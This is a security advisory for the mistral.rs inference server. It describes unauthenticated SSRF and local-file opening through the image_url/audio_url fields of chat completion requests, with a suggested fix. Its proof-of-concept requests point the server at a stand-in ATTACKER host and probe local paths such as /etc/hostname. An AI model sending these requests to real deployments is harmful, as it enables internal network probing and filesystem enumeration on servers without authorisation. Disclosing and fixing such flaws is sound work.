GHSA-wfgq-w7cq-qj7j: 
Rust vulnerability analysis and mitigation

Summary

mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.

Details

parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:

let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };

reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url. The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time. For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.

Suggested fix

Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

Proof of concept

On a default vision deployment, unauthenticated: SSRF - the server fetches the attacker URL during request processing:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed. Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors): existing file (opened and read, then fails to decode):

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "The image format could not be determined"

nonexistent path:

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.

Impact

An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure. Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.